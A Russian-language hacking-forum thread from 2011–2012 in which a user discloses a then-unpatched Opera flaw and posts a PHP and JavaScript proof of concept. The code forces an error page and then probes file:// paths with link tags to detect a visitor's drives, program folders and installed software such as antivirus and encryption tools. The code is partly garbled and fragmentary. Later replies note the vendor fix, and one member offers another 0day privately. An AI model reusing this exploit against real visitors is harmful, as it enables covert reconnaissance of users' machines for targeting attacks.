Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Доступ к локальным файлам из сети (Opera, 0day) (https://forum.antichat.xyz/showthread.php?t=307415)

M_script 09.12.2011 00:29

Любой браузер по вполне очевидным причинам запрещает доступ к локальным файлам из веба. Я уже давно искал способы обойти это ограничение и вчера наконец нашел.

В браузере opera есть внутренние страницы, которые отображаются при различных ошибках и блокировках сайтов.

Эти внутренние страницы загружают через тег link css-файлы из установочной директории браузера. Когда браузер показывает страницу ошибки, он остается на той же ссылке, с которой была открыта страница. Значит, ограничения на доступ к локальным файлам для этой страницы должны быть отключены, чтобы загрузить стили.

Если мы откроем страницу http://site.com/path/script.php?param1=value1 и она вернет статус 1**, 3**, 4** или 5**, в браузере будет показана стандартная страница ошибки, после чего мы получим возможность загружать со страницы http://site.com/path/script.php?param1=value1 (обязательно с теми же параметрами) любые локальные файлы с помощью тега link до закрытия браузера.

У тега link есть событие onload, которое срабатывает, если файл в src существует. Это позволяет проверить существование любой директории или файла на компьютере пользователя.

PoC (Windows, все версии; Opera

'
;

die();

}

if(
stripos($_SERVER['HTTP_REFERER'],'?r=') !==false)

{

print_page();

}

else if(isset(
$_GET['p']))

{

header('HTTP/1.0 404 Not Found');

}

else

{

$rnd=rand(1,9999);

echo
'

function a(){ location.replace(\'?r='
.$rnd.'\');}

'
;

}

function
print_page()

{

echo

var diskStr = 'CDEFGHIJKLMNOPQRSTUVWXYZ';

var goodDiskStr = '';

var diskDiv = document.createElement('div');

diskDiv.innerHTML = 'disks:
';

document.body.appendChild(diskDiv);

var dirArr = new Array(

'program files',

'program files (x86)'

);

var goodDirArr = new Array();

var dirDiv = document.createElement('div');

dirDiv.innerHTML = '
program folders:
';

document.body.appendChild(dirDiv);

var progArr = new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

var progDiv = document.createElement('div');

progDiv.innerHTML = '
programs:
';

document.body.appendChild(progDiv);

function goodDisk(diskLetter)

{

goodDiskStr += diskLetter;

diskDiv.innerHTML += diskLetter + ':
';

}

function goodDir(dirName)

{

goodDirArr.push(dirName);

dirDiv.innerHTML += dirName + '
';

}

function goodProg(progName)

{

progDiv.innerHTML += progName + '
';

}

onload = function checkDisk()

{

for(var i in diskStr)

{

var newLink = document.createEl ement('link');

newLink.id = Math.random();

newLink.rel = 'stylesheet';

newLink.href = 'file://' + diskStr[i] + ':/*';

newLink.onload = 'goodDisk(\'' + diskStr[i] + '\')';

diskDiv.appendChild(newLink);

setTimeout('diskDiv.removeChild(do cument.getElementById(\'' + newLink.id + '\')) ', 2000);

}

setTimeout('checkDir()', 500);

}

function checkDir()

{

for(var i in goodDiskStr)

{

for(var j in dirArr)

{

var newLink = document. createElement('link');

newLink.id = Math.random ();

newLink.rel = 'styleshee t';

newLink.href = 'file://' + goodDiskStr[i] + ':/' + dirArr[j];

newLink.onload = 'goodDi r(\'' + goodDiskStr[i] + ':/' + dirArr[j] + '\')';

dirDiv.appendChild(newLink );

setTimeout('dirDiv.removeC hild(document.getElementById(\'' + newLink.id + '\'))', 2000);

}

}

setTimeout('checkProg()', 500);

}

function checkProg()

{

for(var i in goodDirArr)

{

for(var j in progArr)

{

var newLink = document. createElement('link');

newLink.id = Math.random ();

newLink.rel = 'styleshee t';

newLink.href = 'file://' + goodDirArr[i] + '/' + progArr[j];

newLink.onload = 'goodPr og(\'' + goodDirArr[i] + '/' + progArr[j] + '/\')';

dirDiv.appendChild(newLink );

setTimeout('dirDiv.removeC hild(document.getElementById(\'' + newLink.id + '\'))', 2000);

}

}

}

QWERTY;

}

?>[/COLOR]
[/PHP]
Напомню, что все версии Windows поддерживают короткий формат (8.3) имен файлов и папок. "Program Files" == "progra~1", "LongFileName.longext" == "longfi~1.lon". Это свойство может пригодиться для ускорения поиска конкретных директорий или файлов, имеющих незначительные отличия в имени в зависимости от версии.

Спасибо всем, кто помогал тестировать.

Отдельное спасибо Dr.Z3r0 за подсказку о причине возникновения уязвимости.

P.S.:

Пример только для винды, но под линуксом баг тоже работает.

M_script 31.01.2012 23:23

24 января вышла очередная версия браузера Opera 11.61, в которой уязвимость пофиксили.

http://www.opera.com/support/kb/view/1008/

Цитата:

Сообщение от None
Remote web pages are not supposed to be able to detect what files a user has on their local machine. Certain types of HTML elements may behave differently when they attempt to reference local files that exist. The attempt to load the local file will be blocked, but different JavaScript events may fire, allowing the presence of the local file to be detected. The contents of the local file will not be exposed, and the attacker will need to be able to guess the path to the local file in order to check for its existence.


HAXTA4OK 01.02.2012 00:41

Слив РОА

brain 01.02.2012 00:44

Цитата:

Сообщение от HAXTA4OK
HAXTA4OK said:
Слив РОА

Вовремя.

<Cyber-punk> 01.02.2012 01:20

Интересно а на мобилках будет работать?

shell_c0de 01.02.2012 02:20

мдя... кто от из мемберов из разработчиков оперы )

Ereee 01.02.2012 07:09

Не волнуйтесь, у меня есть другой 0day. Только хз как эксплойт написать Memory corrupt Кому интересно, пишите в ЛС


Время: 11:22